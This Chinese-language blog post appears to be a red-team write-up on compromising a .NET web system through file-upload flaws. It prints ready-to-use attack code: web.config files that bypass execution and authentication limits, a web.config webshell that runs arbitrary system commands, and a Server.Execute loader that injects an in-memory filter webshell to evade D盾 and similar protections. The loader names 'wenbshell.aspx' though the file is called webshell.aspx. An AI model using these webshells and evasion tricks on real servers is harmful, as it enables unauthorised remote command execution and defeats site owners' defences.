一丶故事介绍
在参加某次公司项目时,在碰到一个.NEt的通用系统,通过审计发现了两个文件上传漏洞,网站管理员发现网站被上传webshell后,最开始是修改了网站的配置文件,导致脚本文件禁止执行,后来通过上传web.config的方式给绕过了,但是后面管理员又给服务器装了D盾,安全狗,天擎,导致上传的文件无法正常解析,尝试了各种免杀的aspx马,都是提示禁止执行脚本文件,最后通过加载内存马的方式绕过了D盾的检测。
二丶Web.config的多种用法
网站目录禁止访问aspx文件,以及需要鉴权时,可以通过在当前目录下上传web.config来实现绕过,当然,web.config也可以当作webshell来连接
注意注意注意!!!! 一定不要把web.config传到网站根目录,不然你会失去一个入口,因为修改根目录的web.config很可能导致网站500崩溃,一定要找一个没用的目录去传,比如/js,/scripts等这样的目录
401鉴权:![](https://img-blog.csdnimg.cn/direct/ff56c220f46547a0b1c2926f1572cec9.png)
这样即可允许所有用户访问该目录下的 ASPX 文件,而不需要进行认证
<?xml version="1.0"?>
<configuration>
<system.web>
<authorization>
<allow users="*"/>
</authorization>
</system.web>
</configuration>
403以及404的扩展配置:
<configuration>
<location path="">
<system.webServer>
<handlers>
<add name="ASPXHandler" path="*.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="Unspecified" preCondition="integratedMode" />
</handlers>
</system.webServer>
</location>
</configuration>
web.config的webshell:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<%
Response.Write("-"&"->")
Function GetCommandOutput(command)
Set shell = CreateObject("WScript.Shell")
Set exec = shell.Exec(command)
GetCommandOutput = exec.StdOut.ReadAll
End Function
Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))
Response.Write("<!-"&"-")
%>
-->
这里是借鉴的其他大佬的文章:某电力公司漏洞报告之web.config的rce之旅
三丶尝试通过注入.net内存马实现绕过D盾查杀
审计的两个上传中,有一个上传不是常规的上传包,通过此上传可以绕过D盾的websell上传检测
但是问题就是文件上传上去了,执行不了
经过了大量测试,发现D盾对webshell的查杀太变态了,稍微带一点webshell的特征就执行不了
后来也尝试了直接免杀的正向代理,虽然解析了,但是流量也带不出来,应该是天擎的原因。
翻阅了一下关于.net内存马的文章,后来萌生了个想法,就是能不能通过直接去注入内存马,因为D盾只查杀落地的webshell,而内存马是在网站下没有文件生成的,后来试了一下,还是不行,访问注入内存马的aspx文件,直接也是禁止执行,因为注入内存马的文件,本身也是带webshell特征的
四丶通过.Net Server.Execute()方法成功注入内存马
在思考了许久,现在的情况就是让我上传的1.aspx执行成功一次,就可以注入内存马了,有什么方法可以绕过D盾检测去执行一下1.aspx呢?
通过查阅了大量资料,最终在官方文档中找到了满足我需求的方法
Server.Execute 方法 (Microsoft.AnalysisServices.Core) | Microsoft Learn
可以通过Server.Execute()方法去执行我的上传的注入内存马的文件,并且D盾检测此文件为安全的文件
方法就是先上传一个注入内存马的aspx文件 名为webshell.aspx,然后再上传一个执行加载内存马的文件,名为load.aspx
上传成功后,访问load.aspx,然后load.aspx加载执行webshell.aspx,即绕过了D盾对webshell的检测
代码如下
load.aspx:
<%@ Page Language="C#" %>
<%
// 使用Server.Execute()方法加载并执行其他页面
Server.Execute("wenbshell.aspx");
%>
webshell.aspx:
<%@ Page Language="c#"%>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">
public class MyAuthFilter : IAuthorizationFilter
{
public void OnAuthorization(AuthorizationContext filterContext)
{
HttpContext context = HttpContext.Current;
String Payload = filterContext.HttpContext.Request.Params["ant"];
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(context);
context.Response.End();
}
Console.WriteLine("auth filter inject");
}
}
</script>
<%
GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;
globalFilterCollection.Add(new MyAuthFilter(), -2);
%>
关于内存马部分详细的介绍我就不写了,上链接吧,我也是现学现用的
ASP.NET下的内存马(1) filter内存马 - 跳跳糖大佬写的挺好,就是有点小问题,后来通过我修改了一下,最后注入成功了,
五丶结束
其实看似挺简单的,但是在我实战中浪费了我大量时间,现实的干扰因素其实挺多的,就比如waf,以及安全狗的IP封禁,导致我每发一个包就需要修改一下IP,因为是攻防项目,不能在一个口子上浪费太多时间,中间还放弃了好几天,这个是到快结束的时候又 重新搞得,虽然到最后也没拓到内网,但是通过实战自己也是学习到了许多新的思路,对自己也是一种提升